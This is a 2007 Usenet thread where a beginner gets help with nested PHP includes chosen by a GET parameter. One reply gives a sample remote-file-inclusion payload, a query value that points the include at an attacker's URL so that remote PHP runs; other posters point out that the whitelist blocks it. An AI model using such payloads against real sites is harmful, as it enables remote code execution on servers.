php include problem
am 16.08.2007 17:03:49 von Heikki
first. sory about bad english.
my index.php has link-menu in a right side, that opens something.php
next to the menu.
something.php has a link link-menu at the top of the page that should
open stuff.php under this last menu.
the broblem is that stuff.php opens to the place of something.php. so
the top link-menu disapears.
I think this is a conflict between index.php and something.php, but I
don t know how to fix it...
code in index.php:
$sivut = array('something');
if (in_array($_GET['sivu'], $sivut)) {
include ($_GET['sivu'] . '.php');
}
else
{
include('error.php');
}
?>
this works good....
code in something.php:
$sivut = array('stuff','stuff2');
if (in_array($_GET['sivu'], $sivut)) {
include ($_GET['sivu'] . '.php');
}
else
{
include('error.php');
}
?>
so is it about these $sivut or['sivu'] codes. I tried to change those
but didn t help.
and how to define what page opens first?
whitout klickings....
should be something like this:
if ($sivu ==""){
$sivu = "firstpage";
how do I put it there
thanks
Re: php include problem
am 16.08.2007 17:48:15 von Ulf Kadner
Heikki wrote:
> first. sory about bad english.
me 2
> my index.php has link-menu in a right side, that opens something.php
> next to the menu.
>
> something.php has a link link-menu at the top of the page that should
> open stuff.php under this last menu.
>
> the broblem is that stuff.php opens to the place of something.php. so
> the top link-menu disapears.
>
> $sivut = array('something');
>
> if (in_array($_GET['sivu'], $sivut)) {
> include ($_GET['sivu'] . '.php');
This is not a answer to your asked problem but a answer to a other Problem.
Can you give me the URL of youre Script? Why? Im bad! ;-) What you are
doing here is may good to easy hack youre site/server.
"Examine everything, trust nobody!"
Example:
If i call your script at follow:
?sivu=http://example.com/mybad-script
It will include an *run* my file http://example.com/mybad-script.php if
it is delived in text/plain with usable PHP-Code. So i can do everything.
So never do things like that!
Ulf
--
_,
_(_p> Ulf [Kado] Kadner
\<_) Mitglied der Freizeitvögel? ;-)
^^
Re: php include problem
am 16.08.2007 17:57:22 von luiheidsgoeroe
On Thu, 16 Aug 2007 17:48:15 +0200, Ulf Kadner wrote:=
> Heikki wrote:
>> first. sory about bad english.
>
> me 2
I'm more annoyed at the multiposting then the bad english :P
>
>> my index.php has link-menu in a right side, that opens something.php
>> next to the menu.
>> something.php has a link link-menu at the top of the page that shoul=
d
>> open stuff.php under this last menu.
>> the broblem is that stuff.php opens to the place of something.php. s=
o
>> the top link-menu disapears.
>>
>> $sivut =3D array('something');
>> if (in_array($_GET['sivu'], $sivut)) {
>> include ($_GET['sivu'] . '.php');
>
> This is not a answer to your asked problem but a answer to a other =
> Problem.
>
> Can you give me the URL of youre Script? Why? Im bad! ;-) What you are=
=
> doing here is may good to easy hack youre site/server.
>
> "Examine everything, trust nobody!"
>
> Example:
>
> If i call your script at follow:
> ?sivu=3Dhttp://example.com/mybad-script
>
> It will include an *run* my file http://example.com/mybad-script.php i=
f =
> it is delived in text/plain with usable PHP-Code. So i can do everythi=
ng.
That's what his/hers? in_array() statement is for, it is actual filterin=
g =
on preapproved values, so the OP is OK.
There is something inherently wrong in how he is doing it/what he is =
expecting, if I have the time I'll post a proposal later, busy now :)
-- =
Rik Wasmus
Re: php include problem
am 16.08.2007 18:09:02 von Ulf Kadner
Rik wrote:
> I'm more annoyed at the multiposting then the bad english :P
Multi Posting? Am I blind or which you mean? x-)
>>> $sivut = array('something');
>>> if (in_array($_GET['sivu'], $sivut))
> That's what his/hers? in_array() statement is for,
Really! Its better for me to go sleeping now :-[
Ulf
--
_,
_(_p> Ulf [Kado] Kadner
\<_)
^^
Re: php include problem
am 16.08.2007 18:27:15 von luiheidsgoeroe
On Thu, 16 Aug 2007 18:09:02 +0200, Ulf Kadner wrote:=
> Rik wrote:
>> I'm more annoyed at the multiposting then the bad english :P
>
> Multi Posting? Am I blind or which you mean? x-)
The OP posted in several groups.
>>>> $sivut =3D array('something');
>>>> if (in_array($_GET['sivu'], $sivut))
>> That's what his/hers? in_array() statement is for,
>
> Really! Its better for me to go sleeping now :-[
Hehe, one of those days... :P
-- =
Rik Wasmus
Re: php include problem
am 16.08.2007 19:05:10 von Heikki
so my site is safe from hacking? or not?
does anybody have a solution for my broblem with the code?
Re: php include problem
am 17.08.2007 12:44:00 von Toby A Inkster
Heikki wrote:
> so my site is safe from hacking? or not?
Safe. Well, safe from the exploit mentioned anyway.
--
Toby A Inkster BSc (Hons) ARCS
[Geek of HTML/SQL/Perl/PHP/Python/Apache/Linux]
[OS: Linux 2.6.12-12mdksmp, up 57 days, 14:23.]
Elvis
http://tobyinkster.co.uk/blog/2007/08/16/elvis/
Re: php include problem
am 17.08.2007 12:48:19 von Toby A Inkster
Heikki wrote:
> my index.php has link-menu in a right side, that opens something.php
> next to the menu.
>
> something.php has a link link-menu at the top of the page that should
> open stuff.php under this last menu.
Because $_GET['sivu'] can only ever take one value at a time, only one of
"something.php" or "stuff.php" can ever be included at once.
Try this in something.php:
$sivut2 = array('stuff','stuff2');
if (in_array($_GET['sivu2'], $sivut2))
{
include ($_GET['sivu2'] . '.php');
}
else
{
include('error.php');
}
?>
--
Toby A Inkster BSc (Hons) ARCS
[Geek of HTML/SQL/Perl/PHP/Python/Apache/Linux]
[OS: Linux 2.6.12-12mdksmp, up 57 days, 14:25.]
Elvis
http://tobyinkster.co.uk/blog/2007/08/16/elvis/
Re: php include problem
am 17.08.2007 13:41:05 von Heikki
> ....
> ....
>
>
>
that helped little
now the top link-menu does not disapear.
but the stuff and something pages opens "one on top of the other".
so the links in something and the text in stuff are in confusion.
ideas?
Re: php include problem
am 17.08.2007 14:17:07 von Heikki
thanks Toby. works grate now
Re: php include problem
am 17.08.2007 14:22:30 von Heikki
well one more thing.
how to define what page opens first?
whitout klickings....
should be something like this:
if ($sivu ==""){
$sivu = "firstpage";
how do I put it there
....because now when I go to my http://example.com/index.php
the error.php opens next to the right link-menu.
Re: php include problem
am 17.08.2007 14:28:53 von luiheidsgoeroe
On Fri, 17 Aug 2007 14:22:30 +0200, Heikki wrote:=
> well one more thing.
> how to define what page opens first?
> whitout klickings....
> should be something like this:
>
> if ($sivu ==""){
> $sivu =3D "firstpage";
>
> how do I put it there
>
> ...because now when I go to my http://example.com/index.php
> the error.php opens next to the right link-menu.
$sivu =3D (isset($_GET['sivu']) && !empty($_GET['sivu'])) ? $_GET['sivu'=
] : =
'firstpage';
$sivut =3D array('something');
if (in_array($ivu, $sivut)) include ($sivu.'.php');
-- =
Rik Wasmus
Re: php include problem
am 17.08.2007 14:29:24 von luiheidsgoeroe
On Fri, 17 Aug 2007 14:28:53 +0200, Rik wrote:
> if (in_array($ivu, $sivut)) include ($sivu.'.php');
if (in_array($sivu, $sivut)) include ($sivu.'.php');
--
Rik Wasmus
Re: php include problem
am 17.08.2007 14:41:25 von Heikki
On 17 elo, 15:29, Rik wrote:
> On Fri, 17 Aug 2007 14:28:53 +0200, Rik wrote:
> > if (in_array($ivu, $sivut)) include ($sivu.'.php');
>
> if (in_array($sivu, $sivut)) include ($sivu.'.php');
>
> --
> Rik Wasmus
thanks wery much!
works!